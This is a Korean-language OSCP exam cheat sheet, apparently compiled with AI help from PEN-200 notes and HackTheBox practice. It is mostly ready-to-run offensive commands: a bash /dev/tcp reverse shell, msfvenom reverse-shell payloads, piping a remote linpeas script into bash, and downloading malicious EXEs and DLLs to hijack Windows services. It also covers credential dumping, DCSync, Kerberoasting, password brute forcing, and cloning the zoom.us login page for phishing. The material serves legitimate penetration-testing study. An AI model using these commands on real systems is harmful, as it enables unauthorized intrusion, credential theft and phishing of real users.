AI로 PEN-200 강의 노트(ch6~23), 개인 메모, HTB 실전 명령어를 한 문서로 통합한 OSCP 레퍼런스입니다.
0. 상황별 체크리스트
사용 방법 — 각 단계에서 막혔을 때 순서대로 따라갈 것 + 패스워드 스프레이도 잊지 말 것!!!
0.0 Linux Standalone 침투 흐름 (시험 핵심)
초기 침투 힌트
| 발견 | 다음 행동 |
|---|---|
| whatweb/소스에서 도메인명 발견 | /etc/hosts 등록 → vhost 퍼징 |
| 80포트인데 gobuster dir 결과 빈약 | vhost 의심 → gobuster vhost --append-domain |
| 로그인 폼 발견 | admin:admin, admin:password, guest:guest 먼저 |
| CMS 버전 확인 (Dolibarr/WordPress 등) | searchsploit <CMS> <version> + GitHub CVE 검색 |
| 파일 업로드 기능 | .php 막히면 .pHP .phtml .php5 대소문자/이중확장자 우회 |
LFI 발견 (?page=, ?file=) | ../../../../etc/passwd → 로그 파일 인젝션 → RCE |
| FTP 익명 접근 | ls -la 숨김파일 포함 전부 확인, get 으로 전부 다운 |
| config/conf 파일 | DB 패스워드 → SSH/서비스 재사용 시도 |
초기 쉘 획득 후 (Linux PrivEsc 순서)
1. sudo -l → GTFOBins (가장 먼저!)
2. find / -perm -u=s -type f → GTFOBins → searchsploit → GitHub CVE
3. getcap -r / 2>/dev/null → cap_setuid 바이너리
4. cat /etc/crontab + ls /etc/cron* → 쓰기 가능 스크립트?
5. find / -writable -type f 2>/dev/null | grep -v proc
6. cat /etc/passwd → 쓰기 가능? uid 0 계정 추가
7. cat /etc/exports → no_root_squash?
8. id → docker/lxd/disk 그룹?
9. linpeas.sh → 위 다 안 되면
10. uname -r → 커널 CVE → 최후 수단
낯선 SUID/바이너리 발견 시
1# 1. GTFOBins 확인 (gtfobins.github.io)
2# 2. 버전 확인
3<binary> --version
4# 3. searchsploit
5searchsploit <binary명>
6# 4. GitHub 검색: "<binary명> CVE" 또는 "<binary명> privilege escalation"
7# 5. HackTricks: book.hacktricks.xyz 에서 바이너리명 검색
자격증명 찾는 곳 (Linux)
1# 설정 파일
2find / -name "*.conf" -o -name "*.config" -o -name "*.php" 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null
3find / -name "conf.php" -o -name "config.php" -o -name "wp-config.php" 2>/dev/null
4
5# 히스토리
6cat ~/.bash_history
7cat ~/.zsh_history
8
9# SSH 키
10find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
11
12# DB 접속 후 크레덴셜 덤프
13mysql -u root -p → SELECT user,password FROM mysql.user;
14
15# /home 디렉토리 탐색
16ls -la /home/*/
17ls -la /home/*/.ssh/
참고 사이트
| 사이트 | 용도 |
|---|---|
gtfobins.github.io | sudo/SUID/Capabilities 악용법 |
exploit-db.com | CVE 익스플로잇 검색 |
book.hacktricks.xyz | Linux/Windows PrivEsc 전체 |
searchsploit <키워드> | 로컬 익스플로잇 DB |
GitHub <바이너리> CVE exploit | PoC 코드 |
lolbas-project.github.io | Windows Living off the Land |
0.1 정보 수집 / 정찰
- Nmap 전체 포트 스캔
nmap -p- --min-rate=7000 -sV -T4 <IP> - 발견 포트별 추가 열거
21 FTP→ 익명 로그인 (Name: anonymous)22 SSH→ 버전 확인, 크레덴셜 있으면 접속 / 없으면 키 브루트포스25/110/143 SMTP/POP/IMAP→ VRFY·EXPN으로 사용자 열거53 DNS→ zone transferdnsrecon -t axfr -d <domain>80/443/8080 HTTP→ Gobuster + 소스코드 확인139/445 SMB→enum4linux -a/smbclient -L -N/nxc smb --shares161 UDP SNMP→snmpwalk -c public -v1/onesixtyone389/636 LDAP→ 익명 검색 · description 필드 평문 패스워드 확인5985 WinRM→ 크레덴셜 확보 시evil-winrm접속3389 RDP→ 크레덴셜 확보 시xfreerdp3접속
- 웹 발견 시 → Gobuster 디렉토리·파일 탐색 (
-x php,txt,html,bak) - SMB 익명/인증 → 공유 파일에서 자격증명·민감정보 탐색
- SNMP 공개 커뮤니티 → MIB 덤프 (프로세스·사용자 목록 포함)
- LDAP 익명 →
ldapsearchdescription 필드 평문 패스워드 확인
0.2 취약점 스캔
- 서비스 버전 확인 →
searchsploit <service> <version> - NSE vuln 스캔 →
nmap --script "vuln" -sV -p <ports> <IP> - Nessus (허용 시) →
https://localhost:8834 - 웹 CMS 발견 → WPScan / nikto / 버전 기반 exploit-db 검색
0.3 웹 애플리케이션 공격
- 디렉토리·파일 열거 →
gobuster dir -x php,txt,html,bak .git노출 →curl http://<IP>/.git/HEAD→ git-dumper → 커밋 히스토리 자격증명- 소스코드·주석·숨겨진 필드 확인 (F12 / Ctrl+U)
- 로그인 폼
- 기본 자격증명 (
admin:admin,admin:password) - SQLi →
' OR 1=1-- - Hydra HTTP POST 브루트포스
- 기본 자격증명 (
- 파일 업로드 → 웹쉘 (
.php,.phtml, Content-Type 우회, 이중 확장자) - LFI/RFI →
?page=../../../../etc/passwd/?file=http://<KALI>/shell.php - User-Agent·헤더 → Burp로 XSS·인젝션 페이로드 시도
- 발견 버전 →
searchsploit/ exploit-db
0.4 피싱 / 클라이언트 측 공격
- 문서 메타데이터 →
exiftool -a -u <file>(작성자·OS·소프트웨어) - 피싱 페이지 필요 시 →
wget -E -k -K -p클론 - 파일 업로드·메일 가능 시 → Office 매크로 / HTA / 악성 링크
- 리버스 셸 페이로드 준비 →
msfvenom또는 수동 컴파일 - nc 리스너 대기 →
nc -lvp <PORT>
0.5 공개 익스플로잇 찾기·수정
searchsploit <service> <version>- exploit-db / GitHub / Google (
site:exploit-db.com) 검색 - 익스플로잇 로컬 복사 →
searchsploit -m <EDB-ID> - LHOST·LPORT·쉘코드 반드시 수정 (하드코딩 IP 확인)
- 컴파일
- Linux →
gcc exploit.c -o exploit - Windows 32bit →
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 - Windows 64bit →
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
- Linux →
- msfvenom 페이로드 생성 (
-f exe,-f elf,-f raw) - nc 리스너 대기 →
nc -lvp <PORT>
0.6 Windows 권한상승
whoami /priv확인SeImpersonatePrivilege→ Potato 계열 (SigmaPotato / GodPotato)SeBackupPrivilege→ NTDS.dit 추출 (DC 한정)SeDebugPrivilege→ mimikatz / 프로세스 덤프SeMachineAccountPrivilege→ RBCD 경로 검토
- 자동화 도구
winPEAS→ 서비스·DLL·자격증명 한 번에 스캔PowerUp→Get-ModifiableServiceFile,Get-UnquotedServiceSeatbelt→ 시스템 정보 종합
- 서비스 취약점
- Unquoted Service Path →
wmic service get name,pathname | findstr /i /v "C:\Windows\\" - 서비스 바이너리 쓰기 권한 →
icacls <path> - 누락 DLL → Procmon
NAME NOT FOUND필터
- Unquoted Service Path →
- 예약 작업 →
schtasks /query /fo LIST /v(높은 권한 실행 + 쓰기 가능 스크립트?) - 자격증명 탐색
- PS 히스토리 →
ConsoleHost_history.txt - Winlogon AutoLogon →
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" findstr /s /i "password" *.txt *.xml *.configtree /f C:\Users로 전체 파일 트리 확인 후 민감 파일 탐색
- PS 히스토리 →
- 레지스트리
AlwaysInstallElevated→reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
- SAM/SYSTEM/SECURITY 덤프 (로컬 관리자 있을 때)
reg save HKLM\SAM+SYSTEM+SECURITY(SECURITY 누락 시 LSA Secrets 안 나옴)impacket-secretsdump ./Administrator:'<PASS>'@<IP>(도메인 prefix 없이)- 결과에서
DefaultPassword(LSA 평문) + DCC2 ($DCC2$) 확인 - DCC2 크랙 →
hashcat -m 2100
- 새 자격증명 획득 시 → 즉시 nxc 전 프로토콜 스프레이 (로컬 계정이면
--local-auth)
0.7 Linux 권한상승
sudo -l→ GTFOBins 검색 즉시 시도- NOPASSWD 항목 우선 시도
env_keep+=PATH→ PATH 하이재킹
- SUID/SGID →
find / -perm -u=s -type f 2>/dev/null→ GTFOBins - Capabilities →
/usr/sbin/getcap -r / 2>/dev/nullcap_setuid→ perl/python/gdb로setuid(0)
- Cron 작업 →
ls /etc/cron*+grep CRON /var/log/syslog- 실행 스크립트 쓰기 가능? → 리버스 셸 삽입
- /etc/passwd 쓰기 가능? → 루트 계정 추가
- 쓰기 가능 디렉토리 →
find / -writable -type d 2>/dev/null - 자동화 도구
curl http://<KALI>/linpeas.sh | bashunix-privesc-check standard | grep warning
- 커널 익스플로잇 (마지막 수단) →
uname -r→searchsploit "linux kernel <버전>"
0.8 Port Redirection / 터널링
- 내부망 확인 →
ip route/arp -a/netstat -ano - 터널링 방식 선택
| 상황 | 방법 |
|---|---|
| 단순 포트 하나만 포워딩 | socat / netsh portproxy |
| Kali→내부 단일 서비스 접근 | SSH -L (로컬 포워딩) |
| 내부망 전체 스캔·접근 | SSH -D (SOCKS5) + proxychains |
| 피해자가 아웃바운드만 가능 | SSH -R (리모트 포워딩) |
| VPN처럼 투명하게 라우팅 | sshuttle |
| HTTP/방화벽 우회 필요 | chisel reverse SOCKS |
| DNS만 아웃바운드 | dnscat2 |
- proxychains 사용 시 nmap은 반드시
-sT(TCP connect scan) 사용 - 피봇 후 내부망 대상 재스캔 (nmap 또는 for loop nc 스캔)
0.9 Metasploit
- DB 초기화 + 워크스페이스 →
msfdb init,workspace -a <name> db_nmap으로 스캔 →hosts/services로 결과 조회- 모듈 검색 →
search type:exploit <keyword>→use→show options - Meterpreter 획득 후
migrate <PID>→ 안정적 프로세스 이주 (explorer.exe 등)getsystem→ 권한상승 시도load kiwi→creds_all자격증명 덤프use multi/manage/autoroute+use auxiliary/server/socks_proxy→ 피봇
- UAC 우회 →
bypassuac_sdclt - Resource 스크립트 활용으로 핸들러 자동화
0.10 Active Directory 열거
- BloodHound 수집 (최우선)
python3 bloodhound.py -c all -u <USER> -p <PASS> -ns <DC_IP> -d <DOMAIN>- 소유 계정 Mark as Owned → Shortest Paths to Domain Admins (from Owned)
- 각 노드 우클릭 → Outbound Object Control 확인
- ACL 기반 공격 (BloodHound 엣지)
GenericAll→ 패스워드 변경 (net rpc password)GenericWrite→ 임시 SPN → KerberoastingForceChangePassword→ 패스워드 강제 변경GetChanges + GetChangesAll→ DCSync
- PowerView 수동 열거 →
Find-LocalAdminAccess/Get-NetUser -SPN/Get-ObjectAcl - ldapdomaindump → 도메인 전체 구조 빠르게 파악 (
domain_users.grep | grep -i admin) - nltest /dclist:<DOMAIN> → DC 목록 확인
- GPO 권한 →
Get-GPPermission -All→GpoEditDeleteModifySecurity있으면 SharpGPOAbuse - SYSVOL / GPP cpassword →
gpp-decrypt - 공유 파일 탐색 →
nxc smb --shares→ smbclient → 파일 내 패스워드 - MSSQL 서비스 발견 시 → Kerberoasting으로 서비스 계정 해시 →
impacket-mssqlclient -windows-auth→xp_cmdshell - 새 자격증명 획득 시 → 전 프로토콜 즉시 스프레이 (로컬 계정이면
--local-auth)
0.11 AD 인증 공격
| 상황 | 방법 |
|---|---|
| 크레덴셜 없음 | LDAP 익명·SMB 익명 열거 → AS-REP Roasting |
| 크레덴셜 없음 (Lockout 관대) | 패스워드 스프레이 (net accounts 먼저 확인) |
| 실명 발견 (웹/LDAP) | username 변형 생성 → AS-REP Roasting |
| 평문 크레덴셜 있음 | BloodHound → ACL 체인 → Kerberoasting |
| NTLM 해시 있음 | Pass-the-Hash (psexec/wmiexec/evil-winrm) |
| NTLM 해시 (Kerberos 환경) | Overpass-the-Hash → TGT 발급 |
| 서비스 계정 NTLM 해시 있음 | Silver Ticket → 해당 서비스 직접 위조 |
| GetChanges + GetChangesAll | DCSync → krbtgt 해시 → Golden Ticket |
| DCC2 해시 확보 (secretsdump) | hashcat -m 2100 오프라인 크랙 |
| DA 해시 획득 | PTH → 전 머신 접근, 도메인 장악 완료 |
- Kerberos 시간 동기화 먼저 →
sudo ntpdate <DC_IP> - Kerberoasting → SPN 계정 TGS 해시 → hashcat
-m 13100 - AS-REP Roasting → 사전 인증 비활성 → hashcat
-m 18200 - Silver Ticket → 서비스 계정 해시 →
kerberos::golden /service:cifs - DCSync →
impacket-secretsdump -just-dc-user administrator - PTH →
evil-winrm -H <HASH>/impacket-psexec -hashes :<HASH> - 크랙 실패 시 → PTH 직접 시도 (해시 자체로 인증 가능)
1. 정보 수집 / 정찰
WHOIS
1whois [domain] -h [whois_server]
► 도메인 등록자, 네임서버, 갱신일 조회. -h로 특정 WHOIS 서버 지정.
DNS 열거
1# 레코드 타입별 조회 (NS, MX, TXT, PTR)
2host [domain] -t NS
3nslookup -type=TXT info.megacorptwo.com 192.168.50.151
4
5# 표준 열거 (모든 레코드 + 존 트랜스퍼 시도)
6dnsrecon -d [domain] -t std
7
8# DNS 서버 열거 (서브도메인 + 브루트포스 포함)
9dnsenum [domain]
10
11# 서브도메인 브루트포스
12gobuster dns -d megacorpone.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 10
► dnsrecon -t std : zone transfer(AXFR), 역방향 조회 등 종합 수행.
► gobuster dns : 워드리스트 기반 서브도메인 브루트포스. -t는 스레드 수.
Nmap 포트 스캔
1# 빠른 전체 포트 스캔 (HTB/CTF 기본)
2nmap -p- --min-rate=7000 -T4 <IP> -sV
3
4# SYN 스캔 + greppable 출력
5nmap -sS -p 25 192.168.190.1-255 -oG save.txt
6grep Up save.txt | cut -d " " -f 2
7
8# 서비스·OS 탐지 + 스크립트 + 전체 저장
9nmap -p- <IP> -sV -O -T4 --min-rate 5000 -oA scan_result
10
11# HTTP 타이틀 일괄 스캔
12nmap --script http-title 192.168.190.0/24 -p 80 --open
13
14# vuln 카테고리 NSE 스캔
15sudo nmap -sV -p 443 --script "vuln" <IP>
16
17# SMB OS 탐지
18nmap -v -p 139,445 --script smb-os-discovery <IP>
► -p- : 전체 65535 포트. -p-만 쓰면 느리니 --min-rate=7000으로 속도 보정.
► -T4 : 타이밍 프로파일 4단계(공격적). 실제 시험에서는 -T3이 안정적.
► -sV : 서비스 버전 탐지 → 익스플로잇 검색에 필수.
► -O : OS 탐지 (root 권한 필요).
► -oA : XML·greppable·일반 세 가지 형식 동시 저장.
► --min-rate 5000 : 초당 최소 5000패킷 발송으로 속도 향상.
► --open : 열린 포트만 표시.
Netcat 포트 스캔
1# TCP 범위 스캔
2nc -v -w 1 <IP> 1-100
3
4# UDP 포트 스캔 (-u)
5nc -nv -z -u -w 1 <IP> 100-200
► -z : 데이터 전송 없이 연결만 테스트.
► -w 1 : 1초 타임아웃.
► -nv : DNS 해석 안 하고, verbose 출력.
PowerShell 포트 스캔 (Windows)
1# 단일 포트 확인
2Test-NetConnection -Port 445 <IP>
3
4# 1~1024 자동 스캔
51..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<IP>", $_)) "TCP port $_ is open"} 2>$null
► Windows에서 nmap 없을 때 사용. 속도 느리므로 범위 좁혀서 사용.
SMB 열거
1# 네트워크 대역 NBT 스캔
2sudo nbtscan -r 192.168.50.0/24
3
4# 익명 공유 목록 열거
5smbclient -L //<IP> -N
6# ► -L : 공유 목록 표시. -N : 패스워드 없이(anonymous).
7
8# 인증된 공유 접속
9smbclient //<IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>'
10
11# 공유 권한 + 파일 열거 (nxc)
12nxc smb <IP> -u <USER> -p <PASS> -d <DOMAIN> --shares
13
14# enum4linux 일괄 열거
15enum4linux -a <IP>
SNMP 열거
1# UDP 161 스캔
2nmap -sU --open -p 161 192.168.50.1-254 -oG snmp.txt
3
4# 커뮤니티 스트링 브루트포스
5echo -e "public\nprivate\nmanager" > community
6for ip in $(seq 1 254); do echo 192.168.190.$ip; done > ips
7onesixtyone -c community -i ips
8
9# MIB 트리 전체 덤프
10snmpwalk -c public -v1 -t 10 <IP>
11
12# 실행 프로세스만 조회 (OID 1.3.6.1.2.1.25.4.2.1.2)
13snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2
14
15# ASCII 변환 출력
16snmpwalk -c public -v1 -t 10 <IP> -Oa
► v1 / v2c / v3 중 v1·v2c는 커뮤니티 스트링만으로 접근 가능.
► OID: .25.4.2.1.2 프로세스, .25.6.3.1.2 소프트웨어, .25.1.6.3 사용자 계정.
LDAP 열거
1# 익명 LDAP 조회 (사용자 목록)
2nxc ldap <IP> -u '' -p '' --users
3
4# 인증 후 LDAP 검색 (description에 패스워드 있는 경우 탐지)
5printf '%s' '<PASS>' > pass.txt
6ldapsearch -x -H ldap://<IP> \
7 -D '<USER>@<DOMAIN>' \
8 -y pass.txt \
9 -b 'DC=<domain>,DC=<tld>' \
10 '(objectClass=user)' sAMAccountName description
11
12# UPN 형식으로 인증 (@ 형식이 잘 먹힐 때)
13nxc ldap <IP> -u '<user>@<domain>' -p '<pass>' --users
► -x : 단순 인증(SASL 아님). -H : LDAP URI. -D : 바인드 DN. -y : 패스워드 파일(특수문자 쉘 이스케이프 방지).
► -b : 검색 베이스. (objectClass=user) 필터로 사용자만 추출.
► HTB Cicada 패턴: description 필드에 평문 패스워드 적힌 계정 발견.
SID / Username 열거
1# RID 사이클링으로 사용자 열거 (anonymous 가능)
2impacket-lookupsid '<DOMAIN>/guest'@<IP> -no-pass
3
4# 결과 예시
5# 1104: CICADA\john.smoulder (SidTypeUser)
6# 1105: CICADA\sarah.dantelia (SidTypeUser)
7
8# samrdump - 크레덴셜 있을 때 도메인 사용자 열거
9impacket-samrdump <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM_HASH>
10proxychains impacket-samrdump <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM_HASH>
11# 결과: Administrator 500 / Guest 501 / krbtgt 502 / <user> 1105 ...
► guest 계정 또는 익명으로 SID 열거 가능한 경우 유효. 도메인 사용자 목록 추출에 사용.
► impacket-samrdump : NTLM 해시만 있어도 도메인 사용자 전체 목록 조회 가능.
2. 취약점 스캔
Nessus 설치/실행
1sudo apt install ./Nessus-10.11.0-ubuntu1604_amd64.deb
2sudo systemctl start nessusd.service
3# 브라우저: https://localhost:8834
Nmap NSE 취약점 스캔
1# vuln 카테고리 스크립트 목록
2cat /usr/share/nmap/scripts/script.db | grep "\"vuln\""
3
4# vuln 카테고리 전체 스캔
5sudo nmap -sV -p 443 --script "vuln" <IP>
6
7# 커스텀 NSE 추가
8sudo cp http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/
9sudo nmap --script-updatedb
10sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" <IP>
► NSE vuln 카테고리: 알려진 CVE 자동 체크. 스캔 오래 걸림.
► 커스텀 NSE 추가 후 반드시 --script-updatedb 실행.
3. 웹 애플리케이션 공격
Gobuster 디렉토리/파일 브루트포스
1# 기본 디렉토리 열거
2gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -t 5
3
4# 큰 워드리스트
5gobuster dir -u http://<IP> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20
6
7# 특정 확장자만 (PDF, PHP 등)
8gobuster dir -u http://<IP> -x pdf,php,txt -w /usr/share/wordlists/dirb/common.txt
9
10# 패턴 필터 사용
11gobuster dir -u http://<IP>:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
► -t : 스레드 수 (기본 10). 올리면 빠르지만 WAF에 막힐 수 있음.
► -x : 확장자 추가 검색. PHP·aspx·txt 조합으로.
► -u 에 http:// 필수.
로그인 폼 패스워드 공격 (curl 루프)
1for p in $(cat pass.txt); do
2 curl -s -d "username=admin&password=$p" http://<IP>/login.php | grep -q "flag" && {
3 echo "[+] FOUND PASSWORD: $p"
4 break
5 }
6done
► -s : silent 모드. -d : POST 데이터. grep -q : 성공 키워드 확인.
Hydra 브루트포스
1# SSH 브루트포스 (커스텀 포트)
2hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<IP>
3
4# HTTP POST 폼 브루트포스
5hydra -l admin -P rockyou.txt <IP> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
6
7# FTP 브루트포스
8hydra -l <USER> -P rockyou.txt ftp://<IP>
► -l : 단일 사용자. -L : 사용자 목록 파일.
► -p : 단일 패스워드. -P : 패스워드 목록 파일.
► -s : 비표준 포트 지정.
► -t : 스레드 수 (기본 16). SSH는 4 이하 권장.
리버스 셸
1# Bash 리버스 셸 (URL 인코딩 필요 시)
2bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
3
4# nc 리스너
5nc -lvp 4444
Curl 프록시 활용
1# Burp로 요청 전달
2curl -i http://target --proxy 127.0.0.1:8080
3
4# User-Agent에 XSS 페이로드
5curl -i http://target --user-agent "<script>...</script>" --proxy 127.0.0.1:8080
4. 피싱 / 클라이언트 측 공격
Wget 로그인 페이지 클론
1wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"
► -E : HTML 변환. -k : 로컬 링크로 변환. -p : 페이지에 필요한 모든 파일 다운로드.
► -nd : 서브디렉토리 안 만들고 플랫하게 저장. 피싱 페이지 만들 때 유용.
Exiftool 메타데이터 추출
1# 모든 메타데이터 (확장 태그 포함)
2exiftool -a -u old.pdf
3
4# 기본 메타데이터
5exiftool -a info.pdf
► -a : 중복 태그 허용. -u : 알 수 없는 태그도 표시.
► PDF 작성자·소프트웨어 정보로 환경 파악, 내부 사용자명 유출 확인.
5. 공개 익스플로잇 찾기·수정
SearchSploit
1# 키워드 검색
2searchsploit <keyword>
3searchsploit remote smb microsoft windows
4searchsploit Linux Kernel 2.6.22 privilege escalation
5
6# 터미널 브라우저 검색
7firefox --search "Microsoft Edge site:exploit-db.com"
8
9# 익스플로잇 로컬 복사 (-m)
10searchsploit -m [EDB-ID]
11searchsploit -m 42341
► 기본적으로 /usr/share/exploitdb/에서 로컬 검색 → 인터넷 불필요.
► -m : 현재 디렉토리로 복사. 수정 후 사용.
Buffer Overflow 컴파일 (MinGW)
1sudo apt install mingw-w64
2
3# 32비트 Windows EXE
4i686-w64-mingw32-gcc 42341.c -o exploit.exe -lws2_32
5
6# 64비트 Windows EXE
7x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
8x86_64-w64-mingw32-gcc shell.c -o shell.exe -lws2_32
9
10# 공유 DLL
11x86_64-w64-mingw32-gcc TextShaping.cpp -o TextShaping.dll -shared -lws2_32 -s
► -lws2_32 : Windows 소켓 라이브러리 링크 (네트워크 기능 포함 시 필수).
► -s : 심볼 제거 → 파일 크기 감소, 분석 방해.
msfvenom 페이로드 생성
1# Windows x64 EXE (non-staged, AV에 걸릴 수 있음)
2msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
3
4# Windows x64 EXE (msfconsole handler 필요)
5msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<IP> LPORT=443 -f exe -o met.exe
6
7# Windows x86 (bad char 제외 + shikata_ga_nai 인코딩)
8msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 EXITFUNC=thread \
9 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
10
11# Linux ELF
12msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f elf -o shell.elf
13
14# PHP
15msfvenom -p php/reverse_php LHOST=<IP> LPORT=443 -f raw -o shell.pHP
► staged(shell/reverse_tcp) vs non-staged(shell_reverse_tcp) 구분 중요.
► staged는 handler 필수, non-staged는 nc 리스너로 수신 가능.
► -b : bad character 제외 (BoF에서 \x00 null byte 등).
► EXITFUNC=thread : 크래시 방지용 종료 방식.
6. Windows 권한상승
6.1 초기 열거
1# 현재 사용자 / 권한
2whoami
3whoami /priv # SeBackupPrivilege, SeImpersonatePrivilege 등 확인
4whoami /user # SID 확인
5whoami /fqdn # 도메인 DN 확인 (AD 환경)
6
7# 로컬 사용자/그룹
8Get-LocalUser
9Get-LocalGroup
10Get-LocalGroupMember Administrators
11Get-LocalGroupMember 'Remote Management Users'
12
13# 시스템 정보
14systeminfo
15route print
16netstat -ano
17
18# 설치된 패치 (커널 익스플로잇 검색용)
19Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
20
21# 설치 프로그램 (32/64bit 레지스트리 모두 확인)
22Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
23Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
24
25# 프로세스 + 경로
26Get-Process | Select-Object Name, Path | Where-Object {$_.Path -ne $null}
► whoami /priv에서 SeBackupPrivilege, SeImpersonatePrivilege, SeDebugPrivilege, SeMachineAccountPrivilege 보이면 고권한 탈취 가능.
► SeBackupPrivilege : 파일 ACL 무시하고 읽기 가능 → NTDS.dit 복사 가능 (DC에서 critical).
► SeMachineAccountPrivilege : 도메인에 컴퓨터 계정 추가 가능 → RBCD 공격 전제조건 .
6.2 자동화 도구 (winPEAS / Seatbelt / PowerUp)
1# winPEAS 다운로드 + 실행
2iwr -uri http://<LHOST>/winPEASx64.exe -Outfile winPEAS.exe
3.\winPEASx64.exe | Out-File output.txt
4Get-Content output.txt | Select-String "DPAPI" -Context 20
5Select-String -Path output.txt -Pattern "DLL|Missing" -Context 5
6
7# Seatbelt (시스템 정보 종합 수집)
8iwr -uri http://<LHOST>/Seatbelt.exe -Outfile Seatbelt.exe
9.\Seatbelt.exe -group=all | Out-File output.txt
10
11# PowerUp (서비스 취약점 자동 탐색)
12iwr http://<LHOST>/PowerUp.ps1 -Outfile PowerUp.ps1
13powershell -ep bypass
14. .\PowerUp.ps1
15Get-ModifiableServiceFile # 수정 가능한 서비스 바이너리
16Get-UnquotedService # Unquoted Service Path
17Install-ServiceBinary -Name 'mysql' # 자동 페이로드 배포
6.3 파일·자격증명 탐색
1# 민감 파일 검색
2Get-ChildItem -Path C:\users -Include *.txt,*.ini,*.config,*.xml -File -Recurse -ErrorAction SilentlyContinue
3Get-ChildItem -Path C:\users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String "password" -List | Select-Object Path
4
5# PowerShell 히스토리 (평문 패스워드 자주 발견됨)
6Get-History
7(Get-PSReadlineOption).HistorySavePath
8cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
9
10# 디렉토리 ACL 확인
11icacls "C:\Program Files\Enterprise Apps"
12icacls "C:\BackupMonitor\BackupMonitor.exe"
► PS 히스토리에 패스워드 평문 입력 기록 남는 경우 많음 (자격증명 재사용 패턴).
1# 전체 디렉토리 트리 + 파일 목록 출력 (숨김파일 포함)
2# Windows는 /f 슬래시 사용 (Linux의 -f 와 다름)
3tree /f C:\Users
4tree /f C:\ # 드라이브 전체 (느림)
5
6# 숨김 파일·폴더 탐색
7dir /s /a:h C:\Users # 숨김 속성만
8dir /s /a C:\Users # 모든 속성 포함(숨김 파일 포함)
1# findstr - 파일 내용 키워드 검색 (Linux grep 대응)
2findstr /s /i "password" *.txt *.xml *.ini *.config
3findstr /s /i /m "password" *.* # 매칭 파일명만 출력
4findstr /s /i "password" C:\Users\*.txt C:\Users\*.xml # 경로 지정
5findstr /s /i "password\|username\|secret\|credential" C:\*.txt
1# PowerShell Select-String - 다중 확장자 + 정규식 패턴 검색
2Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini,*.log -ErrorAction SilentlyContinue |
3 Select-String -Pattern "password|passwd|username|credential|secret" |
4 Select-Object Path,LineNumber,Line
5
6# Winlogon AutoLogon 자격증명 확인 (평문 패스워드 저장 취약)
7reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
8# DefaultUserName / DefaultPassword / DefaultDomainName 필드 확인
► tree /f : Windows에서 숨김 파일 포함 전체 파일 트리 출력. 반드시 /f 슬래시 사용.
► findstr /s /i : 하위 디렉토리 재귀(/s), 대소문자 무시(/i). /m 은 매칭 파일명만 출력.
► Winlogon AutoLogon: 자동 로그인 설정 머신에서 평문 패스워드 발견 빈도 높음 (HTB Sauna 패턴).
6.4 사용자 전환 / 원격 세션
1# 사용자 정보 확인
2net user <username>
3
4# 다른 사용자로 CMD 실행
5runas /user:<USER> cmd
6
7# Evil-WinRM 접속
8evil-winrm -i <IP> -u <USER> -p '<PASS>'
9evil-winrm -i <IP> -u <USER> -H <NTLM_HASH> # PTH
1# PSSession (자격증명 객체)
2$password = ConvertTo-SecureString "<PASS>" -AsPlainText -Force
3$cred = New-Object System.Management.Automation.PSCredential("<USER>", $password)
4Enter-PSSession -ComputerName <TARGET> -Credential $cred
6.5 서비스 바이너리 하이재킹
1# 실행 중 서비스 + 경로 확인
2Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
3Get-WmiObject Win32_Service | Where-Object {$_.Name -eq 'BackupMonitor'} | Select Name, StartName, PathName
4
5# 서비스 중지 → 바이너리 교체 → 재시작
6Stop-Service BackupMonitor
7Remove-Item C:\BackupMonitor\BackupMonitor.exe -Force
8# (악성 EXE 업로드)
9iwr http://<LHOST>/shell.exe -Outfile C:\BackupMonitor\BackupMonitor.exe
10Start-Service BackupMonitor
11# 또는 재부팅
12shutdown /r /t 0
6.6 DLL 하이재킹
1# 쓰기 권한 테스트
2echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
3
4# Procmon으로 누락 DLL 탐색 (PATH 순서 확인)
5C:\tools\Procmon\Procmon64.exe
1# 공유 DLL 컴파일 (리버스 쉘 포함)
2x86_64-w64-mingw32-gcc TextShaping.cpp -o TextShaping.dll -shared -lws2_32 -s
1# 악성 DLL 배포 + 서비스 재시작
2iwr -uri http://<LHOST>/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
